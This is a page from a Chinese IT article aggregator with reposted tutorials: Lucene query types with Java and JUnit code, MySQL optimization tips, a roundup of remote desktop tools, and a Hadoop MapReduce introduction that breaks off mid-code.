Quantcast
Channel: IT社区推荐资讯 - ITIndex.net
Viewing all 15843 articles
Browse latest View live

lucene Direction类 和 term查询

$
0
0

一 、 Directory介绍

1、使用FSDirectory.open(java.io.File)方法,会根据当前的运行环境打开一个最合理的基于File的Directory。

SimpleFSDirectory : 使用RandomAccessFile类访问文件,但是在并发上面效率不是很高

 

NIOFSDirectory : 使用java.nio.FileChannel,能够提高并发访问效率

 

MMapDirectory : 会根据操作系统64bit或者32bit创建合适的directory对象

 

 

2、new RAMDirectory会从内存中打开directory,好处是速度快,缺点是无法持久化

 

二、Term查询

1、编写各种查询类

package com.hb.lucence;

import java.io.IOException;
import java.text.ParseException;
import java.text.SimpleDateFormat;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;

import org.apache.lucene.analysis.standard.StandardAnalyzer;
import org.apache.lucene.document.Document;
import org.apache.lucene.document.Field;
import org.apache.lucene.document.Field.Index;
import org.apache.lucene.document.Field.Store;
import org.apache.lucene.document.NumericField;
import org.apache.lucene.index.CorruptIndexException;
import org.apache.lucene.index.IndexReader;
import org.apache.lucene.index.IndexWriter;
import org.apache.lucene.index.IndexWriterConfig;
import org.apache.lucene.index.Term;
import org.apache.lucene.queryParser.QueryParser;
import org.apache.lucene.queryParser.QueryParser.Operator;
import org.apache.lucene.search.BooleanClause.Occur;
import org.apache.lucene.search.BooleanQuery;
import org.apache.lucene.search.FuzzyQuery;
import org.apache.lucene.search.IndexSearcher;
import org.apache.lucene.search.NumericRangeQuery;
import org.apache.lucene.search.PrefixQuery;
import org.apache.lucene.search.Query;
import org.apache.lucene.search.ScoreDoc;
import org.apache.lucene.search.TermQuery;
import org.apache.lucene.search.TermRangeQuery;
import org.apache.lucene.search.TopDocs;
import org.apache.lucene.search.WildcardQuery;
import org.apache.lucene.store.Directory;
import org.apache.lucene.store.LockObtainFailedException;
import org.apache.lucene.store.RAMDirectory;
import org.apache.lucene.util.Version;

public class SearchUtil {
	private Directory directory;
	private IndexReader reader;
	private String[] ids = { "1", "2", "3", "4", "5", "6" };
	private String[] emails = { "aa@itat.org", "bb@itat.org", "cc@cc.org", "dd@sina.org", "ee@zttc.edu", "ff@itat.org" };
	private String[] contents = { "welcome to visited the space,I like book", "hello boy, I like pingpeng ball", "my name is cc I like game", "I like football", "I like football and I like basketball too", "I like movie and swim" };
	private String[] names = { "zhangsan", "lisi", "john", "jetty", "mike", "jake" };
	private Map<String, Float> scores = new HashMap<String, Float>();

	public SearchUtil() {
		scores.put("itat.org", 2.0f);
		scores.put("zttc.edu", 1.5f);
		directory = new RAMDirectory();
		this.index();

	}

	public void index() {
		IndexWriter writer = null;
		try {
			writer = new IndexWriter(directory, new IndexWriterConfig(Version.LUCENE_35, new StandardAnalyzer(Version.LUCENE_35)));
			writer.deleteAll();
			Document doc = null;
			for (int i = 0; i < ids.length; i++) {
				doc = new Document();
				doc.add(new Field("id", ids[i], Field.Store.YES, Field.Index.NOT_ANALYZED_NO_NORMS));
				doc.add(new Field("email", emails[i], Field.Store.YES, Field.Index.NOT_ANALYZED));
				doc.add(new Field("email", "test" + i + "@test.com", Field.Store.YES, Field.Index.NOT_ANALYZED));
				doc.add(new Field("content", contents[i], Field.Store.NO, Field.Index.ANALYZED));
				doc.add(new Field("name", names[i], Field.Store.YES, Field.Index.NOT_ANALYZED_NO_NORMS));
				String et = emails[i].substring(emails[i].lastIndexOf("@") + 1);
				System.out.println(et);
				if (scores.containsKey(et)) {
					//配置索引的加权值
					doc.setBoost(scores.get(et));
				} else {
					doc.setBoost(0.5f);
				}
				writer.addDocument(doc);
			}
		} catch (CorruptIndexException e) {
			e.printStackTrace();
		} catch (LockObtainFailedException e) {
			e.printStackTrace();
		} catch (IOException e) {
			e.printStackTrace();
		} finally {
			try {
				if (writer != null)
					writer.close();
			} catch (CorruptIndexException e) {
				e.printStackTrace();
			} catch (IOException e) {
				e.printStackTrace();
			}
		}
	}

	public IndexSearcher getSearcher() {
		try {
			if (reader == null) {
				this.reader = IndexReader.open(directory);
			} else {
				IndexReader tr = IndexReader.openIfChanged(reader);
				if (tr != null) {
					reader.clone();
					reader = tr;
				}
			}
			return new IndexSearcher(reader);
		} catch (CorruptIndexException e) {
			e.printStackTrace();
		} catch (IOException e) {
			e.printStackTrace();
		}
		return null;
	}

	public void searchByTerm(String field, String name, int num) {
		try {
			IndexSearcher searcher = this.getSearcher();
			Query query = new TermQuery(new Term(field, name));
			TopDocs tds = searcher.search(query, num);
			System.out.println("一共查询了 :" + tds.totalHits);
			for (ScoreDoc sd : tds.scoreDocs) {
				Document doc = searcher.doc(sd.doc);
				System.out.println(doc.get("id") + "---->" + doc.get("name") + "[" + doc.get("email") + "]-->" + doc.get("id") + "," + doc.get("attach") + "," + doc.get("date"));
			}
			// 关闭IndexSearcher对象
			searcher.close();
		} catch (IOException e) {
			e.printStackTrace();
		}

	}

	public void searchByTermRange(String field, String start, String end, int num) {
		TopDocs tds;
		try {
			IndexSearcher searcher = getSearcher();
			/**
			 * String field, 索引对应的域 String lowerTerm, 起始查询条件 String upperTerm,
			 * boolean includeLower, boo lean includeUpper
			 */
			Query query = new TermRangeQuery(field, start, end, true, true);
			tds = searcher.search(query, num);
			System.out.println("一共查询了:" + tds.totalHits);
			for (ScoreDoc sd : tds.scoreDocs) {
				Document doc = searcher.doc(sd.doc);
				System.out.println(doc.get("id") + "---->" + doc.get("name") + "[" + doc.get("email") + "]-->" + doc.get("id") + "," + doc.get("attach") + "," + doc.get("date"));
			}
			searcher.close();
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

	public void searchByNumricRange(String field, int start, int end, int num) {
		TopDocs tds;
		try {
			IndexSearcher searcher = this.getSearcher();
			Query query = NumericRangeQuery.newIntRange(field, start, end, true, true);
			tds = searcher.search(query, 10);
			for (ScoreDoc sd : tds.scoreDocs) {
				Document doc = searcher.doc(sd.doc);
				System.out.println(doc.get("id") + "---->" + doc.get("name") + "[" + doc.get("email") + "]-->" + doc.get("id") + "," + doc.get("attach") + "," + doc.get("date"));
			}
			searcher.close();
		} catch (IOException e) {
		}
	}

	public void searchByPrefix(String field, String value, int num) {
		try {
			IndexSearcher searcher = this.getSearcher();
			Query query = new PrefixQuery(new Term(field, value));
			TopDocs tds = searcher.search(query, num);
			for (ScoreDoc sd : tds.scoreDocs) {
				Document doc = searcher.doc(sd.doc);
				System.out.println(doc.get("id") + "---->" + doc.get("name") + "[" + doc.get("email") + "]-->" + doc.get("id") + "," + doc.get("attach") + "," + doc.get("date"));
			}
			searcher.close();
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

	public void searchByWildcard(String field, String value, int num) {
		try {
			IndexSearcher searcher = this.getSearcher();
			// 在传入的value中可以使用通配符:?和*,?表示匹配一个字符,*表示匹配任意多个字符
			Query query = new WildcardQuery(new Term(field, value));
			TopDocs tds = searcher.search(query, num);
			System.out.println("一共查询了 : " + tds.totalHits);
			for (ScoreDoc sd : tds.scoreDocs) {
				Document doc = searcher.doc(sd.doc);
				System.out.println(doc.get("id") + "---->" + doc.get("name") + "[" + doc.get("email") + "]-->" + doc.get("id") + "," + doc.get("attach") + "," + doc.get("date"));
			}
			searcher.close();
		} catch (IOException e) {
			e.printStackTrace();
		}
	}
	public void searchByFuzzy(String field, String value, int num) {
		try {
			IndexSearcher searcher = this.getSearcher();
			// 
			Query query = new FuzzyQuery(new Term(field, value));
			TopDocs tds = searcher.search(query, num);
			System.out.println("一共查询了 : " + tds.totalHits);
			for (ScoreDoc sd : tds.scoreDocs) {
				Document doc = searcher.doc(sd.doc);
				System.out.println(doc.get("id") + "---->" + doc.get("name") + "[" + doc.get("email") + "]-->" + doc.get("id") + "," + doc.get("attach") + "," + doc.get("date"));
			}
			searcher.close();
		} catch (IOException e) {
			e.printStackTrace();
		}
	}

	public void searchByBoolean(int num) {
		try {
			IndexSearcher searcher = this.getSearcher();
			BooleanQuery query = new BooleanQuery();
			/*
			 * BooleanQuery可以连接多个子查询 Occur.MUST表示必须出现 Occur.SHOULD表示可以出现
			 * Occur.MUSE_NOT表示不能出现
			 */
			TermQuery termQuery1 = new TermQuery(new Term("name", "zhangsan"));
			query.add(termQuery1, Occur.MUST_NOT);
			TermQuery termQuery2 = new TermQuery(new Term("content", "game"));
			query.add(termQuery2, Occur.SHOULD);
			TopDocs tds = searcher.search(query, num);
			System.out.println("一共查询了:" + tds.totalHits);
			for (ScoreDoc sd : tds.scoreDocs) {
				Document doc = searcher.doc(sd.doc);
				System.out.println(doc.get("id") + "---->" + doc.get("name") + "[" + doc.get("email") + "]-->" + doc.get("id") + "," + doc.get("attach") + "," + doc.get("date"));
			}
			searcher.close();
		} catch (IOException e) {
			e.printStackTrace();
		}

	}
	

}

 

NumericRange :

数字范围查询 。

//是否包含开始,是否包含结束

Query query = NumericRangeQuery.newIntRange (field, start, end, true, true); 

su.searchByNumricRange("attach", 2, 10, 5);

 

PrefixQuery :

通过字符串前缀来查询。

Query query = new PrefixQuery(new Term(field, value));

//查询以sex开头的

su.searchByPrefix("content", "sex", 10);

 

WildcardQuery :

通配符查询。

//在传入的value中可以使用通配符:?和*,?表示匹配一个字符,*表示匹配任意多个字符
Query query = new WildcardQuery(new Term(field, value));

 //匹配@itat.org结尾的所有字符

 su.searchByWildcard("email", "*@itat.org", 10);
 //匹配j开头的有三个字符的name
 su.searchByWildcard("name", "j???", 10);

 

BooleanQuery :

用于表示布尔查询子句关系的类,包括:BooleanClause.Occur.MUST,BooleanClause.Occur.MUST_NOT,BooleanClause.Occur.SHOULD。

必须包含,不能包含,可以包含三种.有以下6种组合 : 
1.MUST和MUST:取得连个查询子句的交集。 
2.MUST和MUST_NOT:表示查询结果中不能包含MUST_NOT所对应的查询子句的检索结果。 
3.SHOULD与MUST_NOT:连用时,功能同MUST和MUST_NOT。
4.SHOULD与MUST连用时,结果为MUST子句的检索结果,但是SHOULD可影响排序。 
5.SHOULD与SHOULD:表示“或”关系,最终检索结果为所有检索子句的并集。 
6.MUST_NOT和MUST_NOT:无意义,检索无结果。

 

BooleanQuery query = new BooleanQuery();
query.add(new TermQuery(new Term("name", "zhangsan")), Occur.MUST);
query.add(new TermQuery(new Term("content", "welcome")), Occur.MUST_NOT);

 

PhraseQuery :

短语查询。

query.add(new Term("content", "pingpeng"));
query.add(new Term("content", "i"));
query.setSlop(3);//要求结果中不仅包含上面的term,并且两个Term之间的间隔不能超过3

 

FuzzyQuery :

模糊查询,在FuzzyQuery类定义中定义了两个成员变量:

private float minimumSimilarity;

private int prefixLength;

minimumSimilarity是最小相似度,取值范围为0.0~1.0,包含0.0但不包含1.0,默认值为0.5。prefixLength是前缀长度,默认为0。

minimumSimilarity表示是最小相似度,可以通过指定一个相似度来决定模糊匹配的严格程度。默认为0.5, 当这个值越小,通过模糊查找出的文档的匹配程度就越低

文档的数量也就越多;当这个值越大,说明要匹配程度更大,匹配的文档数也就越少,当相似度设置为1,那么就退化为TermQuery查询,所以当这个值>=1或<0会抛出IllegalArgumentException异常。

另外一个参数prefixLength表示在进行模糊匹配的时候,要有多少个前缀字母必须完全匹配。 例如当该值设置为“1”,则表示所有此条只有第一个字母与检索关键字相符时,才会被集合选中

 

FuzzyQuery query = new FuzzyQuery(new Term("name", "zhang"), 0.1f, 0);

 

2、使用junit测试各个方法

import java.io.File;
import java.util.Collection;

import org.apache.commons.io.FileUtils;
import org.apache.commons.io.filefilter.FileFileFilter;
import org.apache.lucene.search.NumericRangeQuery;
import org.junit.Test;

import com.hb.lucence.SearchUtil;

public class SearchUtilTest {

	@Test
	public void searchByTermTest(){
		SearchUtil su = new SearchUtil();
		//查询id=1的document
		su.searchByTerm("id", "1", 10);
	}
	@Test
	public void searchTermRangeTest(){
		SearchUtil su = new SearchUtil();
		//查询name以a开头和s结尾的
//		su.searchByTermRange("name","a","s",10);
		//由于attachs是数字类型,使用TermRange无法查询
		su.searchByTermRange("id", "2", "4", 10);
	}
	@Test
	public void numericRangeQueryTest(){
		SearchUtil su = new SearchUtil();
		//数字查询
		su.searchByNumricRange("attach", 2, 4, 10);
	}
	@Test
	public void prefixTest(){
		SearchUtil su = new SearchUtil();
		//查询email域以b开头的
		su.searchByPrefix("email", "b", 10);
	}
	@Test
	public void wildcardTest(){
		SearchUtil su = new SearchUtil();
		//查询email字段a开头的所有信息
		su.searchByWildcard("email", "a*", 10);
	}
	@Test
	public void fuzzyTest(){
		SearchUtil su = new SearchUtil();
		//查询name字段与jaee相差一个字符的,例如jake
		su.searchByFuzzy("name", "jaee", 10);
	}
}

 



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐




[转]MySQL性能优化

$
0
0
优化目标
  1.减少 IO 次数


  IO永远是数据库最容易瓶颈的地方,这是由数据库的职责所决定的,大部分数据库操作中超过90%的时间都是 IO 操作所占用的,减少 IO 次数是 SQL 优化中需要第一优先考虑,当然,也是收效最明显的优化手段。


  2.降低 CPU 计算


  除了 IO 瓶颈之外,SQL优化中需要考虑的就是 CPU 运算量的优化了。order by, group by,distinct … 都是消耗 CPU 的大户(这些操作基本上都是 CPU 处理内存中的数据比较运算)。当我们的 IO 优化做到一定阶段之后,降低 CPU 计算也就成为了我们 SQL 优化的重要目标


 


优化方法
  改变 SQL 执行计划


  明确了优化目标之后,我们需要确定达到我们目标的方法。对于 SQL 语句来说,达到上述2个目标的方法其实只有一个,那就是改变 SQL 的执行计划,让他尽量“少走弯路”,尽量通过各种“捷径”来找到我们需要的数据,以达到 “减少 IO 次数” 和 “降低 CPU 计算” 的目标


 


常见误区
 


1.count(1)和count(primary_key) 优于 count(*)


  很多人为了统计记录条数,就使用 count(1) 和 count(primary_key) 而不是 count(*) ,他们认为这样性能更好,其实这是一个误区。对于有些场景,这样做可能性能会更差,应为数据库对 count(*) 计数操作做了一些特别的优化。


 


2.count(column) 和 count(*) 是一样的


  这个误区甚至在很多的资深工程师或者是 DBA 中都普遍存在,很多人都会认为这是理所当然的。实际上,count(column) 和 count(*) 是一个完全不一样的操作,所代表的意义也完全不一样。


  count(column) 是表示结果集中有多少个column字段不为空的记录


  count(*) 是表示整个结果集有多少条记录


 


3.select a,b from … 比 select a,b,c from … 可以让数据库访问更少的数据量


  这个误区主要存在于大量的开发人员中,主要原因是对数据库的存储原理不是太了解。


  实际上,大多数关系型数据库都是按照行(row)的方式存储,而数据存取操作都是以一个固定大小的IO单元(被称作 block 或者 page)为单位,一般为4KB,8KB… 大多数时候,每个IO单元中存储了多行,每行都是存储了该行的所有字段(lob等特殊类型字段除外)。


  所以,我们是取一个字段还是多个字段,实际上数据库在表中需要访问的数据量其实是一样的。


  当然,也有例外情况,那就是我们的这个查询在索引中就可以完成,也就是说当只取 a,b两个字段的时候,不需要回表,而c这个字段不在使用的索引中,需要回表取得其数据。在这样的情况下,二者的IO量会有较大差异。


 


4.order by 一定需要排序操作


  我们知道索引数据实际上是有序的,如果我们的需要的数据和某个索引的顺序一致,而且我们的查询又通过这个索引来执行,那么数据库一般会省略排序操作,而直接将数据返回,因为数据库知道数据已经满足我们的排序需求了。


  实际上,利用索引来优化有排序需求的 SQL,是一个非常重要的优化手段


  延伸阅读:MySQL ORDER BY 的实现分析,MySQL 中 GROUP BY 基本实现原理以及 MySQL DISTINCT 的基本实现原理这3篇文章中有更为深入的分析,尤其是第一篇


 


5.执行计划中有 filesort 就会进行磁盘文件排序


  有这个误区其实并不能怪我们,而是因为 MySQL 开发者在用词方面的问题。filesort 是我们在使用 explain 命令查看一条 SQL 的执行计划的时候可能会看到在 “Extra” 一列显示的信息。


  实际上,只要一条 SQL 语句需要进行排序操作,都会显示“Using filesort”,这并不表示就会有文件排序操作。


 


基本原则

0、in和exist


select * from 表A where id in (select id from 表B)  
这句相当于 
select * from 表A where exists(select * from 表B where 表B.id=表A.id)  
对于表A的每一条数据,都执行select * from 表B where 表B.id=表A.id的存在性判断,如果表B中存在表A当前行相同的id,则exists为真,该行显示,否则不显示 

区分in和exists主要是造成了驱动顺序的改变(这是性能变化的关键),如果是exists,那么以外层表为驱动表,先被访问,如果是IN,那么先执行子查询。

所以IN适合于外表大而内表小的情况;EXISTS适合于外表小而内表大的情况


1.尽量少 join


  MySQL 的优势在于简单,但这在某些方面其实也是其劣势。MySQL 优化器效率高,但是由于其统计信息的量有限,优化器工作过程出现偏差的可能性也就更多。对于复杂的多表 Join,一方面由于其优化器受限,再者在 Join 这方面所下的功夫还不够,所以性能表现离 Oracle 等关系型数据库前辈还是有一定距离。但如果是简单的单表查询,这一差距就会极小甚至在有些场景下要优于这些数据库前辈。


 


2.尽量少排序


  排序操作会消耗较多的 CPU 资源,所以减少排序可以在缓存命中率高等 IO 能力足够的场景下会较大影响 SQL 的响应时间。


  对于MySQL来说,减少排序有多种办法,比如:


  上面误区中提到的通过利用索引来排序的方式进行优化


  减少参与排序的记录条数


  非必要不对数据进行排序


  …


 


3.尽量避免 select *


  很多人看到这一点后觉得比较难理解,上面不是在误区中刚刚说 select 子句中字段的多少并不会影响到读取的数据吗?


  是的,大多数时候并不会影响到 IO 量,但是当我们还存在 order by 操作的时候,select 子句中的字段多少会在很大程度上影响到我们的排序效率,这一点可以通过我之前一篇介绍 MySQL ORDER BY 的实现分析的文章中有较为详细的介绍。


  此外,上面误区中不是也说了,只是大多数时候是不会影响到 IO 量,当我们的查询结果仅仅只需要在索引中就能找到的时候,还是会极大减少 IO 量的。


 


4.尽量用 join 代替子查询


  虽然 Join 性能并不佳,但是和 MySQL 的子查询比起来还是有非常大的性能优势。MySQL 的子查询执行计划一直存在较大的问题,虽然这个问题已经存在多年,但是到目前已经发布的所有稳定版本中都普遍存在,一直没有太大改善。虽然官方也在很早就承认这一问题,并且承诺尽快解决,但是至少到目前为止我们还没有看到哪一个版本较好的解决了这一问题。

MySQL需要为内层查询语句的查询结果建立一个临时表。然后外层查询语句在临时表中查询记录。查询完毕后,MySQL需要插销这些临时表。所以在MySQL中可以使用连接查询来代替子查询。连接查询不需要建立临时表,其速度比子查询要快。
 


5.尽量少 or


  当 where 子句中存在多个条件以“或”并存的时候,MySQL 的优化器并没有很好的解决其执行计划优化问题,再加上 MySQL 特有的 SQL 与 Storage 分层架构方式,造成了其性能比较低下,很多时候使用 union all 或者是union(必要的时候)的方式来代替“or”会得到更好的效果。


 


6.尽量用 union all 代替 union


  union 和 union all 的差异主要是前者需要将两个(或者多个)结果集合并后再进行唯一性过滤操作,这就会涉及到排序,增加大量的 CPU 运算,加大资源消耗及延迟。所以当我们可以确认不可能出现重复结果集或者不在乎重复结果集的时候,尽量使用 union all 而不是 union。


 


7.尽量早过滤


  这一优化策略其实最常见于索引的优化设计中(将过滤性更好的字段放得更靠前)。


  在 SQL 编写中同样可以使用这一原则来优化一些 Join 的 SQL。比如我们在多个表进行分页数据查询的时候,我们最好是能够在一个表上先过滤好数据分好页,然后再用分好页的结果集与另外的表 Join,这样可以尽可能多的减少不必要的 IO 操作,大大节省 IO 操作所消耗的时间。


 


8.避免类型转换


  这里所说的“类型转换”是指 where 子句中出现 column 字段的类型和传入的参数类型不一致的时候发生的类型转换:


  人为在column_name 上通过转换函数进行转换


  直接导致 MySQL(实际上其他数据库也会有同样的问题)无法使用索引,如果非要转换,应该在传入的参数上进行转换


  由数据库自己进行转换


  如果我们传入的数据类型和字段类型不一致,同时我们又没有做任何类型转换处理,MySQL 可能会自己对我们的数据进行类型转换操作,也可能不进行处理而交由存储引擎去处理,这样一来,就会出现索引无法使用的情况而造成执行计划问题。


 


9.优先优化高并发的 SQL,而不是执行频率低某些“大”SQL


  对于破坏性来说,高并发的 SQL 总是会比低频率的来得大,因为高并发的 SQL 一旦出现问题,甚至不会给我们任何喘息的机会就会将系统压跨。而对于一些虽然需要消耗大量 IO 而且响应很慢的 SQL,由于频率低,即使遇到,最多就是让整个系统响应慢一点,但至少可能撑一会儿,让我们有缓冲的机会。


 


10.从全局出发优化,而不是片面调整


  SQL 优化不能是单独针对某一个进行,而应充分考虑系统中所有的 SQL,尤其是在通过调整索引优化 SQL 的执行计划的时候,千万不能顾此失彼,因小失大。


 


11.尽可能对每一条运行在数据库中的SQL进行 explain


  优化 SQL,需要做到心中有数,知道 SQL 的执行计划才能判断是否有优化余地,才能判断是否存在执行计划问题。在对数据库中运行的 SQL 进行了一段时间的优化之后,很明显的问题 SQL 可能已经很少了,大多都需要去发掘,这时候就需要进行大量的 explain 操作收集执行计划,并判断是否需要进行优化。



索引优化


1) MySQL只会使用前缀,例如key(a, b) …where b=5 将使用不到索引。
2) 要选择性的使用索引。在变化很少的列上使用索引并不是很好,例如性别列。
3) 在Unique列上定义Unique index。
4) 避免建立使用不到的索引。
5) 在Btree index中(InnoDB使用Btree),可以在需要排序的列上建立索引。
6) 避免重复的索引。
7) 避免在已有索引的前缀上建立索引。例如:如果存在index(a,b)则去掉index(a)。
8) 控制单个索引的长度。使用key(name(8))在数据的前面几个字符建立索引。
9) 越是短的键值越好,最好使用integer。
10) 在查询中要使用到索引(使用explain查看),可以减少读磁盘的次数,加速读取数据。
11) 相近的键值比随机好。Auto_increment就比uuid好。
12) Optimize table可以压缩和排序index,注意不要频繁运行。
13) Analyze table可以更新数据。


但是有些时候即使查询时使用的是索引,但索引并没有起作用。比如使用了LIKE关键字进行查询时,如果匹配字符串的第一个字符为‘%’,索引不会被使用。如果‘%’不是在第一个位置,索引就会被使用。


另一种情况是在表的多个字段上创建一个索引,比如


CREATE INDEX index ON student(name,birth,department);这样只有查询语句条件中使用字段name时,索引才会被用到。因为name字段是多列索引的第一个字段,只有查询条件中使用了name字段才会使索引index起作用。

作者:HEYUTAO007 发表于2014-8-24 21:56:28 原文链接
阅读:0 评论:0 查看评论

八款最佳的远程桌面工具

$
0
0

八款最佳的远程桌面工具

作者:chszs,转载需注明。博客主页: http://blog.csdn.net/chszs

远程桌面是微软公司为了方便网络管理员管理维护服务器而推出的一项服务。从windows 2000 server版本开始引入,网络管理员使用远程桌面连接程序连接到网络任意一台开启了远程桌面控制功能的计算机上,就好比自己操作该计算机一样,运行程序,维护数据库等。

远程桌面采用的是一种类似TELNET的技术,它是从TELNET协议发展而来的,通俗的讲远程桌面就是图形化的TELNET。

下面向大家介绍八款最佳的远程桌面工具。


1. Teamviewer

地址: http://www.teamviewer.com/en/index.aspx


Teamviewer是最佳的远程桌面工具之一,使用它可以轻松连接到全球任意一台PC或服务器上,目前大约有2亿用户在使用Teamviewer。

TeamViewer是一个能在任何防火墙和NAT代理的后台用于远程控制,桌面共享和文件传输的简单且快速的解决方案。为了连接到另一台计算机,只需要在两台计算机上同时运行 TeamViewer 即可,而不需要进行安装(也可以选择安装,安装后可以设置开机运行)。该软件第一次启动在两台计算机上自动生成伙伴 ID。只需要输入你的伙伴的ID到TeamViewer,然后就会立即建立起连接。

Teamviewer面向个人使用是免费的,但会弹出烦人的广告。


2. Splashtop

地址: http://www.splashtop.com/


Splashtop是一款简单易用且性能优秀的远程桌面工具,它的用户已经超过1600万,被公认为是高效率和高性能的工具。甚至可以远程流畅看电影、玩游戏,并且跨平台支持Win、Mac、Linux等系统,甚至是诸如iOS、Android等移动系统。它包含服务端Streamer和客户端Remote Desktop两部分。

1)Streamer是Splashtop公司旗下的一款主打产品,是远程控制的服务器端,用于接受远程控制,目前支持:Mac OS X、WindowsXP/Vista/Win7和Windows 8和Linux等操作系统。

2)Remote Desktop是远程桌面的客户端,用于控制装有Streamer的电脑。它除了支持Streamer服务端所支持的全部系统之外,还支持主流的iOS、Android、WebOS、Blackberry等系统。

Splashtop工具分个人版、商业版、企业版等,其中个人版免费。


3. Chrome Remote Desktop app

地址: https://support.google.com/chrome/answer/1649523?hl=en


谷歌的Chrome浏览器上有远程桌面应用插件,通过它也可以进行远程控制。使用简单、完全免费。


4. Logmein

地址: https://secure.logmein.com/


LogMein是一款基于Web的、是一个安全可靠的远程接入软件,它有强大的控制功能,可以让用户在任何一个可上网的电脑远程控制另一台PC。LogMein软件支持强大的256-bit SSL加密、双密码验证、RSASecureID等。

 

5. PC Anywhere

地址: http://in.norton.com/symantec-pcanywhere/


赛门铁克的PC Anywhere是一款老牌的远程控制软件,号称世界领先。利用此软件,用户可以有效管理计算机并快速解决技术支持问题,同时与远程设备的连接也更简便、更安全。它结合了远程控制、全方位的远程管理、高级的文件传输功能和强健的安全性,可以提高技术支持效率并减少了呼叫次数。


6. GoToMyPC

地址: http://www.gotomypc.com/remote-access/


GoToMyPC是美国Citrix在线公司推出的远程控制软件,它可以通过任何网络浏览器来访问及控制你的PC。GoToMyPC能够让你通过任何网络连接访问并在你的计算机上工作,通过简单的几分钟就可以进行设置。

GoToMyPC提供免费自动为当前用户升级,添加了大量为企业用户和Pocket PC用户而设计的功能。

GoToMyPC是收费软件,提供了30天试用版。


7. Radmin

地址: http://www.radmin.com/


Radmin是一款屡获殊荣的远程控制软件,它将远程控制、外包服务组件、以及网络监控结合到一个系统里,提供目前为止最快速、强健而安全的工具包。

Radmin是收费软件,提供了30天试用版。

 

8. UltraVNC

地址: http://pcsupport.about.com/od/remote-access/fl/ultravnc-review.htm


UltraVNC是客户端/服务器软件,允许经由TCP/IP连线,控制远程PC。UltraVNC的开发是以RealVNC为基础的,加入了TightVNC的鼠标控制与编码,以及在eSVNC和Vdacc-VNC找到的特殊功能等。

UltraVNC既是一个客户端也是一个服务器,可以用TCP/IP连接来控制另一台电脑。它可以在W9x/NT/2K/XP在使用,拥有包括自动设置,友好用户界面,全局热键,内部文件传输等功能。

UltraVNC是自由软件,可在GNU GPL许可证下散布。


作者:chszs 发表于2014-8-24 20:24:39 原文链接
阅读:97 评论:0 查看评论

Hadoop MapReduce编程入门案例

$
0
0

Hadoop入门例程简析中

(下面的程序下载地址: http://download.csdn.net/detail/zpcandzhj/7810829)

一、一些说明

(1)Hadoop新旧API的区别

新的API倾向于使用虚类(抽象类),而不是接口,因为这更容易扩展。
例如,可以无需修改类的实现而在虚类中添加一个方法(即用默认的实现)。
在新的API中,mapper和reducer现在都是虚类。
新的API 放在org.apache.hadoop.mapreduce 包(和子包)中。之前版本的API 依旧放在org.apache.hadoop.mapred中。
新的API充分使用上下文对象(Context),使用户代码能与MapReduce系统通信。例如,MapContext 基本具备了JobConf、OutputCollector和Reporter的功能。
新的API 同时支持"推"(push)和"拉"(pull)式的迭代。
这两类API,均可以将键/值对记录推给mapper,但除此之外,新的API 也允许把记录从map()方法中拉出。
对reducer来说是一样的。"拉"式处理数据的好处是可以实现数据的批量处理,而非逐条记录地处理。
新增的API实现了配置的统一。旧API 通过一个特殊的JobConf 对象配置作业,该对象是Hadoop配置对象的一个扩展。
在新的API 中,我们丢弃这种区分,所有作业的配置均通过Configuration 来完成。
新API中作业控制由Job类实现,而非JobClient类,新API中删除了JobClient类。
输出文件的命名方式稍有不同。map的输出文件名为part-m-nnnnn,而reduce的输出为part-r-nnnnn(其中nnnnn表示分块序号,为整数,且从0开始算。

(2)设置Hadoop回收站

有的时候我们会不小心误删除HDFS中的文件,Hadoop提供了回收站机制,但是默认是不开启的。设置步骤如下:
(a)修改conf/core-site.xml,增加
<property> <name>fs.trash.interval</name> <value>1440</value> <description>Number of minutes between trash checkpoints. 
If zero, the trash feature is disabled. </description> </property>

默认是0.单位分钟。这里我设置的是1天(60*24) 
删除数据rm后,会将数据move到当前文件夹下的.Trash目录(一般在HDFS的/user/root目录下)

(b)测试 
1)新建目录input
hadoop/bin/hadoop fs -mkdir input
2)上传文件
root@master:/data/soft# hadoop/bin/hadoop fs -copyFromLocal /data/soft/file0* input
3)删除目录input
[root@master data]# hadoop fs -rmr input 
Moved to trash: hdfs://master:9000/user/root/input
4)参看当前目录(回收目录在HDFS的/user/root目录下)
[root@master data]# hadoop fs -ls 
Found 2 items 
drwxr-xr-x - root supergroup 0 2014-08-12 13:21 /user/root/.Trash
发现input删除,多了一个目录.Trash
5)恢复刚刚删除的目录(注意设置源 和 目的地址)
[root@master data]# hadoop fs -mv /user/root/.Trash/Current/user/root/input  /user/root/input
6)检查恢复的数据
[root@master data]# hadoop fs -ls input 
Found 2 items 
-rw-r--r-- 3 root supergroup 22 2014-08-12 13:21 /user/root/input/file01 
-rw-r--r-- 3 root supergroup 28 2014-08-12 13:21 /user/root/input/file02
7)删除.Trash目录(清理垃圾)
[root@master data]# hadoop fs -rmr .Trash 
Deleted hdfs://master:9000/user/root/.Trash

(3)在Eclipse中右击点Run on Hadoop

在Eclipse中右击点Run on Hadoop运行MR作业但在web页面(http://hadoop:50070和http://hadoop:50030)看不到作业运行记录

(4)为了简化命令行方式运行作业,Hadoop自带了一些辅助类。

利用ToolRunner等辅助类
例如如下的程序
public class WordCount {
    // 略...
    public static void main(String[] args) throws Exception {
//新API就是通过Configuration对象进行作业的配置        
Configuration conf = new Configuration();
        String[] otherArgs = new GenericOptionsParser(conf, 
                                            args).getRemainingArgs();
        // 略...
        Job job = new Job(conf, "word count");
        // 略...
        System.exit(job.waitForCompletion(true) ? 0 : 1);
    }
}
这段程序中使用到了GenericOptionsParser这个类,它的作用是将命令行中参数自动设置到变量conf中。
GenericOptionsParser是一个类,用来解释常用的Hadoop命令行选项,并根据需要,为Configuration对象设置相应的取值。
通常不直接使用GenericOptionsParser,更方便的方式是:实现Tool接口,通过ToolRunner来运行应用程序,ToolRunner内部调用GenericOptionsParser
修改后的代码变成了这样:
</pre><h3>(5)添加第三方jar包</h3><p>在用命令行运行MR作业时,如果出现ClassNotFoundException可能是因为缺少第三方jar包,可以把第三方jar包copy到hadoop安装目录下放置jar的那个目录。</p><h2>二、Mapreduce例程</h2><h3>1、WordCount</h3>程序:新API版<pre name="code" class="java">package inAction;
import java.io.IOException;
import java.util.StringTokenizer;

import org.apache.hadoop.conf.Configuration;
import org.apache.hadoop.conf.Configured;
import org.apache.hadoop.fs.Path;
